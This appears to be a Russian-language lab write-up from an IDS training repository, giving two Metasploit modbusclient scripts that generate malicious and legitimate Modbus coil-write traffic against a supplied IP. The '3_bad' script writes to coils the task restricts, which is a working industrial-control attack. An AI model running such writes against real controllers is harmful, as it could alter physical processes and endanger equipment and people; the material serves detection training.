MODBUS-TASK-3: coils

«Исходники» создания трафика находятся в папке проекта по пути /tasks/modbus/3

https://git.miem.hse.ru/798/ids-wsr-workout/-/tree/master/tasks/modbus/3

```
┌──(kali㉿kali)-[~/…/shared_kali/tasks/modbus/3]
└─$ ls -lah
total 8.0K
drwxr-xr-x 2 kali kali 4.0K Jan 17 04:35 .
drwxr-xr-x 7 kali kali 4.0K Dec 28 11:41 ..
-rw-r--r-- 1 kali kali    0 Jan 17 04:35 3_bad
-rw-r--r-- 1 kali kali    0 Jan 17 04:35 3_good
```

3_bad bash скрипт для запуска вредоносного трафика с использованием Metasploit,

3_good bash скрипт для запуска легитимного (по заданию) трафика с использованием Metasploit.

Для запуска необходимо передать одну переменную – ip адрес атакуемого хоста.

Например: *bash 3_bad 192.168.19.1* и *bash 3_good 192.168.19.1*

3_bad bash скрипт для запуска вредоносного трафика с использованием Metasploit.

Он доступен по ссылке: https://git.miem.hse.ru/798/ids-wsr-workout/-/tree/master/tasks/modbus/3

```
printf 'y' | msfconsole -q -x \
             "auxiliary/scanner/scada/modbusclient; \
             set RHOSTS $1; \

             set UNIT_NUMBER 1; \
             set ACTION WRITE_COIL; \
               set DATA_ADDRESS 0; \
               set DATA 1; \
             run; \
               set DATA_ADDRESS 1; \
             run; \
             set ACTION WRITE_COILS; \
               set DATA_ADDRESS 0; \
               set DATA_COILS 111; \
             run; \

             exit -y;"
```

1) Используется утилита Metasploit modbusclient.
2) Выставляются функции записи одного или сразу нескольких койлов.
3) Выставляю номер койла, куда задание установило ограничение на запись определённых значений.
4) Сама информация, вредоносная по заданию.
5) Устанавливаю ip атакуемой машины.

3_good bash скрипт для запуска легитимного (по заданию) трафика.

```
printf 'y' | msfconsole -q -x \
             "auxiliary/scanner/scada/modbusclient; \
             set RHOSTS $1; \

             set UNIT_NUMBER 1; \
             set ACTION WRITE_COIL; \
               set DATA_ADDRESS 2; \
               set DATA 1; \
```

```
            run; \
              set DATA_ADDRESS 100; \
            run; \
            set ACTION WRITE_COILS; \
              set DATA_ADDRESS 2; \
              set DATA_COILS 111; \
            run; \

            set UNIT_NUMBER 255; \
            set ACTION WRITE_COIL; \
              set DATA_ADDRESS 2; \
              set DATA 1; \
            run; \
              set DATA_ADDRESS 100; \
            run; \
            set ACTION WRITE_COILS; \
              set DATA_ADDRESS 2; \
              set DATA_COILS 111; \
            run; \

            exit -y;"
```

Здесь проверяются крайние допустимые значения койлов, в которые можно записывать, номер функции и другой крайний номер устройства.